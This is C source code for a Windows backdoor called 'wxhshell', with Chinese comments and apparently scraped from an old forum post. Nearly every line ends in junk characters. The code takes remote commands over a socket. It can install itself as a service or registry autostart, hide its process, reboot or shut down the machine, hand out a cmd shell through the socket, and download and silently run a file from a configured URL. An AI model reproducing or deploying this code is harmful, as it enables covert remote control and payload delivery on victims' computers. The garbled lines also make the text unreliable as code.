  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :^H9W^2  
  } i9&K  
  else { +(z_"[l"  
wsf Hd<Z_  
    switch(cmd[0]) { aT?p>  
  y/X:=d6"  
  // 帮助 -t%{"y  
  case '?': { B_."?*|w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BP[CR1Gs  
    break; +Mk*{ A t  
  } sd]54&3A  
  // 安装 3 ^02fy  
  case 'i': { &?/N}g@K  
    if(Install()) +QIGR'3u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,#E3,bu6_4  
    else :$M9XZ~\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V6@*\+:3)  
    break; DMAf^.,S  
    } `q f\3JT\  
  // 卸载 nc3ltT,R  
  case 'r': { Uh3wj|0  
    if(Uninstall()) Hi; K"H]x1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |TB@@ 2Ky&  
    else lBlSNDs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |t4Gz1"q=8  
    break; fqcU5l[v,  
    } !paN`Fz\a  
  // 显示 wxhshell 所在路径 .N5h V3  
  case 'p': { i"%JFj_G  
    char svExeFile[MAX_PATH]; u Q[vgNe*m  
    strcpy(svExeFile,"\n\r"); ,zAK3d&hj  
      strcat(svExeFile,ExeFile); i7S>RB  
        send(wsh,svExeFile,strlen(svExeFile),0); .)i O Du  
    break; +=ZWau   
    } CN\|_y  
  // 重启 K/f>f;c  
  case 'b': { FF%\g J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OwG6i|q  
    if(Boot(REBOOT)) jzl?e[qPA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aUypt(dv  
    else { .mvB99P{<  
    closesocket(wsh); x[vpoB+c  
    ExitThread(0); Smq r q  
    } IvEMg2f}  
    break; 2YL`3cgfb  
    } Q3'fz 9v  
  // 关机 4*0:bhhhf_  
  case 'd': { H!unIy|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M|/oFV  
    if(Boot(SHUTDOWN)) TpJg-F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zg)_cRR   
    else { )ZT6:)  
    closesocket(wsh); 5z1\#" B[  
    ExitThread(0); ~A8qeaP  
    } D ?Nd; [  
    break; 4 t&gW  
    } >EBZ$X  
  // 获取shell WW//heJe-  
  case 's': { x`]Of r'  
    CmdShell(wsh); 8O~0RYk  
    closesocket(wsh); lo cW_/  
    ExitThread(0); 0zg2g!lh  
    break; y]yine  
  } jMN)?6$=  
  // 退出 u|(Ux~O  
  case 'x': { lq:]`l,6@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W*YxBn4  
    CloseIt(wsh); lemVP'cn  
    break; p Tcbq  
    } *-?Wcz  
  // 离开 EfFz7j&X  
  case 'q': { ;$vLq&(}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }czsa_  
    closesocket(wsh); L/Hv4={  
    WSACleanup(); "/Y<G  
    exit(1); "Z;~Y=hC13  
    break; J6*f Uh  
        } q}#iV$dAj  
  } |:./hdcad  
  } Xl#Dw bx  
Wu4ot0SZ  
  // 提示信息 25aNC;J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6X dWm  
} MMMqG`Px  
  } 8V6=i'GK  
*%:@ cbF-M  
  return; &svx@wW  
} Vd,'  s  
7e1dEgn  
// shell模块句柄 z<a$q3!#  
int CmdShell(SOCKET sock) 'z)hG#{I  
{ LyGUvi  
STARTUPINFO si; yC W*fIaq  
ZeroMemory(&si,sizeof(si)); wz|DT3"Xs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z(+&wa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T_eJ}(p  
PROCESS_INFORMATION ProcessInfo; VLiIO"u;  
char cmdline[]="cmd"; zm3-C%:Bw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /$;,F't#2M  
  return 0; #S%4?   
} X` ATH^S  
Yg/}ghF\  
// 自身启动模式 q7|:^#{av  
int StartFromService(void)  #;`Oj  
{ 27m@|M] R  
typedef struct C`)_i3 ^  
{ b 8>q;  
  DWORD ExitStatus; gc##V]OD  
  DWORD PebBaseAddress; Hk@r5<{  
  DWORD AffinityMask; y`4{!CEyLW  
  DWORD BasePriority; "l TZ|k^  
  ULONG UniqueProcessId; 'qjX$]H  
  ULONG InheritedFromUniqueProcessId; 'fIHUw|  
}   PROCESS_BASIC_INFORMATION; $`pd|K`  
=ai2z2z  
PROCNTQSIP NtQueryInformationProcess; N&"QKd l  
"# 2pT H~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @}(SR\~N]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $0#6"urG  
h}h^L+4  
  HANDLE             hProcess; t)} \9^Uo  
  PROCESS_BASIC_INFORMATION pbi; COSTV>s;  
FY8!g'.Oe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y.>kO  
  if(NULL == hInst ) return 0; dByjcTPA  
L=RGL+f1 _  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f3G1r5x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C,"=}z1P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bG(x:Py&  
B52yaG8C  
  if (!NtQueryInformationProcess) return 0; @T ysXx  
)\>r-g$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); je,c7ZFO  
  if(!hProcess) return 0; +Qs!Nhsq  
=p q:m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DVh)w}v  
(0OM "`j  
  CloseHandle(hProcess); 3V}(fnv  
9 6=Z"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vM(Xip7  
if(hProcess==NULL) return 0; Yl~$V(  
"]#'QuR  
HMODULE hMod; ($62o&I  
char procName[255]; *g_w I%l  
unsigned long cbNeeded; UW6VHA>  
=WK04\H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e[{mVhg4E  
'w.}2(  
  CloseHandle(hProcess); d; =u  
!^iwQ55e2A  
if(strstr(procName,"services")) return 1; // 以服务启动 _{$fA6C  
4&{!M _  
  return 0; // 注册表启动 w{`Acu  
} PNpu*# Z`  
I8u!\F  
// 主模块 Uyk,.*8"  
int StartWxhshell(LPSTR lpCmdLine) BSgTde|3y  
{ =((yWn+t  
  SOCKET wsl; ^I`a;  
BOOL val=TRUE; Blk}I  
  int port=0; 'Jydu   
  struct sockaddr_in door; xQU"A2{}>  
3z3_7XI  
  if(wscfg.ws_autoins) Install(); c<4F4k7  
 ?Vc0)  
port=atoi(lpCmdLine); VI_+v[Hk/  
<6jFKA<  
if(port<=0) port=wscfg.ws_port; CZ(`|;BC*  
k!3 cq)  
  WSADATA data; AbfZ++aJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; : @6mFTV  
,h&a9:+i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f*m[|0qI<X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /e1(? 20  
  door.sin_family = AF_INET; oa`#RC8N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {DwIjy31T  
  door.sin_port = htons(port); m#\[m<F  
,Dp0fauJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !9]d |8!  
closesocket(wsl); ,lm=M 5b  
return 1; Z\ )C_p\-  
} %;|0  
d1]i,C~Y  
  if(listen(wsl,2) == INVALID_SOCKET) { H0>yi[2f  
closesocket(wsl); f~ZEdq8  
return 1; hw=GR_,  
} 89H sPB1"t  
  Wxhshell(wsl); #jA)>z\Q^  
  WSACleanup(); 1e}8LH7  
0<.R A%dj  
return 0; "0Q1qZ  
O/b+CSS1  
} C:i|-te  
;:]\KJm}?  
// 以NT服务方式启动 ?S tsH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }k7'"`#?"  
{ ->gZ)?Fqy  
DWORD   status = 0; KX4],B5 +  
  DWORD   specificError = 0xfffffff; YGk9b+`  
%8r/oS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hXB|g[zT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .L EY=j!-s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8-M e.2K  
  serviceStatus.dwWin32ExitCode     = 0; I=Ij dwbH  
  serviceStatus.dwServiceSpecificExitCode = 0; 80;n|nNB  
  serviceStatus.dwCheckPoint       = 0; +Xy*?5E;C  
  serviceStatus.dwWaitHint       = 0; 4kl Ao$  
X`JV R"=4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?*u*de[,  
  if (hServiceStatusHandle==0) return; S6D^3n  
gl7|H&&xV  
status = GetLastError(); X2yTlLdY  
  if (status!=NO_ERROR) FvdeQsc!  
{ {5j66QFoo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fex,z%}p  
    serviceStatus.dwCheckPoint       = 0; -VT+O+9_A  
    serviceStatus.dwWaitHint       = 0; ig+4S[L~n  
    serviceStatus.dwWin32ExitCode     = status; [[+ pMI  
    serviceStatus.dwServiceSpecificExitCode = specificError; +TJ EG?o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GP a`e  
    return; PaWr[ye  
  } $`J_:H%  
#07!-)Gv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xDLG=A%]z  
  serviceStatus.dwCheckPoint       = 0; /+|#^:@  
  serviceStatus.dwWaitHint       = 0; =L]Q2V}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !{%&=tIZ  
} !3 qVB  
=#xK=pRy;  
// 处理NT服务事件,比如:启动、停止 e0HfP v_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F0lOlS   
{ F]+~x/!  
switch(fdwControl) j/!H$0PN  
{ q(IQa@$SR  
case SERVICE_CONTROL_STOP: H/fUM  
  serviceStatus.dwWin32ExitCode = 0; ]$b2a&r9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *rh,"Zo  
  serviceStatus.dwCheckPoint   = 0; s:>\/[*>0c  
  serviceStatus.dwWaitHint     = 0; L.'}e{ldW  
  { h2Bz F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fV\]L4%  
  } DN] v_u+}  
  return; )> a B  
case SERVICE_CONTROL_PAUSE: 5&!c7$K0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {XCf-{a]~  
  break; 9KuD(EJS  
case SERVICE_CONTROL_CONTINUE: quxdG>8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; * ?Jz2[B  
  break; r@G#[.*A>  
case SERVICE_CONTROL_INTERROGATE: WyhhCR=;  
  break; PBjmGwg7  
}; s^8u&y)3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s Be7"^  
} !|Q5Zi;aX7  
PkuTg";  
// 标准应用程序主函数 98XVa\|tl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >SbK.Q@ei  
{ )Kd%\PP  
|CFRJN-J"  
// 获取操作系统版本 3G}AH E4  
OsIsNt=GetOsVer(); 5Wx~ZQZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aHzHvl  
b;cMl'  
  // 从命令行安装 E%N2k|%8d_  
  if(strpbrk(lpCmdLine,"iI")) Install(); zZ-\a[F  
r(A.<`\   
  // 下载执行文件 \}0-^(9zd  
if(wscfg.ws_downexe) { f58?5(Dc|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2{|$T2?e  
  WinExec(wscfg.ws_filenam,SW_HIDE); {Qu"%h.Al  
} 2}U!:bn(  
KzU lTl0  
if(!OsIsNt) { muON> ^MbC  
// 如果时win9x,隐藏进程并且设置为注册表启动 <@v ]H@ E  
HideProc(); f. }c7  
StartWxhshell(lpCmdLine); C#0Qd%  
} Ah69 _>N`S  
else xg@NQI@7   
  if(StartFromService()) ),}AI/j;zY  
  // 以服务方式启动 rVnd0K  
  StartServiceCtrlDispatcher(DispatchTable); 8+Llx  
else c3%@Wj:fo  
  // 普通方式启动 "/{RhY<  
  StartWxhshell(lpCmdLine); G\d$x4CVGc  
I0'WOV70  
return 0; ]b?9zeT*'l  
}
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只看该作者 1 发表于: 2006-10-10
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